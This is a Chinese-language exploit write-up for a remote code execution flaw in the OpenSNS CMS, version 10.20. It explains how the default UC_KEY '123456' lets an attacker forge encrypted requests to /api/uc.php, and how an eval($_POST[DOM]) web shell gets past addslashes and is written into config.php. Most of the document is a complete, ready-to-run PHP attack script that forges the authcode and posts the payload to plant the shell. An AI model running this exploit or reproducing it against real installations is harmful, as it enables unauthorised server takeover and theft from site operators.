opensns最新版10.20无限制Getshell

摘要

这个洞挖了很久了官方几次更新都没修复问题。问题出现在/api/uc.php上变量code从get中获取后经过_authcode函数解密成字符串 赋值到变量中，如果GPC开启则stripslashes取消转义
我们再来看函数_authcode

这个洞挖了很久了官方几次更新都没修复问题。问题出现在/api/uc.php上

43-48行         $code = @$_GET['code'];         parse_str(_authcode($code, 'DECODE', UC_KEY), $get);         if(MAGIC_QUOTES_GPC) {                 $get = _stripslashes($get);         }

变量code从get中获取后经过_authcode函数解密成字符串 赋值到变量中，如果GPC开启则stripslashes取消转义
我们再来看函数_authcode

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {         $ckey_length = 4;           $key = md5($key ? $key : UC_KEY);         $keya = md5(substr($key, 0, 16));         $keyb = md5(substr($key, 16, 16));         $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';           $cryptkey = $keya.md5($keya.$keyc);         $key_length = strlen($cryptkey);           $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;         $string_length = strlen($string);           $result = '';         $box = range(0, 255);           $rndkey = array();         for($i = 0; $i <= 255; $i++) {                 $rndkey[$i] = ord($cryptkey[$i % $key_length]);         }           for($j = $i = 0; $i < 256; $i++) {                 $j = ($j + $box[$i] + $rndkey[$i]) % 256;                 $tmp = $box[$i];                 $box[$i] = $box[$j];                 $box[$j] = $tmp;         }           for($a = $j = $i = 0; $i < $string_length; $i++) {                 $a = ($a + 1) % 256;                 $j = ($j + $box[$a]) % 256;                 $tmp = $box[$a];                 $box[$a] = $box[$j];                 $box[$j] = $tmp;                 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));         }           if($operation == 'DECODE') {                 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {                         return substr($result, 26);                 } else {                                 return '';                         }         } else {                 return $keyc.str_replace('=', '', base64_encode($result));  //看到这就有很多小伙伴都能很清楚了我们只要知道UC_KEY的值 OK！那么就会CMS就会出现问题

而程序默认安装的UC_KEY 为123456，_authcode算法自行加密，那么所有请求几乎无视GPC。又回到/api/uc.php

239-260行         function updateapps($get, $post) {                 if(!API_UPDATEAPPS) {                         return API_RETURN_FORBIDDEN;                 }                 $UC_API = $post['UC_API'];                   //note 写 app 缓存文件                 $cachefile = $this->appdir.'./api/uc_client/data/cache/apps.php';                 $fp = fopen($cachefile, 'w');                 $s = "<?php/r/n";                 $s .= '$_CACHE[/'apps/'] = '.var_export($post, TRUE).";/r/n";                 fwrite($fp, $s);                 fclose($fp);                   //note 写配置文件                 if(is_writeable($this->appdir.'api/config.php')) {                         $configfile = trim(file_get_contents($this->appdir.'api/config.php'));                         $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;                         $configfile = preg_replace("/define/('UC_API',/s*'.*?'/);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);  //修复漏洞  --駿濤                         if($fp = @fopen($this->appdir.'api/config.php', 'w')) {                                 @fwrite($fp, trim($configfile));                                 @fclose($fp)

又看到这一句
$configfile = preg_replace("/define/('UC_API',/s*'.*?'/);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile); //修复漏洞 --駿濤
这里虽然有addslashes，但是我们写入的eval($_POST[DOM]);一句话脚本是不需要 单引号和单撇号的，所以无视函数，随意写入一句话代码

我们开启UC在/api/config.php
define('UC_SYNC', 1); 设为1就为开启
Getshell

<?php   // 代码版权归原作者所有！       $timestamp = time()+10*3600;       $host="localhost";       $uc_key="123456";       $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));       $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>   <root>   <item id="UC_API">http://localhost/ucenter/');eval($_POST[DOM]);//</item>   </root>';       $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>   <root>   <item id="UC_API">http://localhost/ucenter</item>   </root>';       $html1 = send($cmd1);       echo $html1;       $html2 = send($cmd2);       echo $html2;           function send($cmd){       global $host,$code;       $message = "POST /api/uc.php?code=".$code."  HTTP/1.1/r/n";       $message .= "Accept: */*/r/n";       $message .= "Referer: ".$host."/r/n";       $message .= "Accept-Language: zh-cn/r/n";       $message .= "Content-Type: application/x-www-form-urlencoded/r/n";       $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)/r/n";       $message .= "Host: ".$host."/r/n";       $message .= "Content-Length: ".strlen($cmd)."/r/n";       $message .= "Connection: Close/r/n/r/n";       $message .= $cmd;           //var_dump($message);       $fp = fsockopen($host, 80);       fputs($fp, $message);           $resp = '';           while ($fp && !feof($fp))           $resp .= fread($fp, 1024);           return $resp;   }       function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {           $ckey_length = 4;               $key = md5($key ? $key : UC_KEY);           $keya = md5(substr($key, 0, 16));           $keyb = md5(substr($key, 16, 16));           $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';               $cryptkey = $keya.md5($keya.$keyc);           $key_length = strlen($cryptkey);               $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;           $string_length = strlen($string);               $result = '';           $box = range(0, 255);               $rndkey = array();           for($i = 0; $i <= 255; $i++) {                   $rndkey[$i] = ord($cryptkey[$i % $key_length]);           }               for($j = $i = 0; $i < 256; $i++) {                   $j = ($j + $box[$i] + $rndkey[$i]) % 256;                   $tmp = $box[$i];                   $box[$i] = $box[$j];                   $box[$j] = $tmp;           }               for($a = $j = $i = 0; $i < $string_length; $i++) {                   $a = ($a + 1) % 256;                   $j = ($j + $box[$a]) % 256;                   $tmp = $box[$a];                   $box[$a] = $box[$j];                   $box[$j] = $tmp;                   $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));           }               if($operation == 'DECODE') {                   if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {                           return substr($result, 26);                   } else {                                   return '';                           }           } else {                   return $keyc.str_replace('=', '', base64_encode($result));           }       }   ?>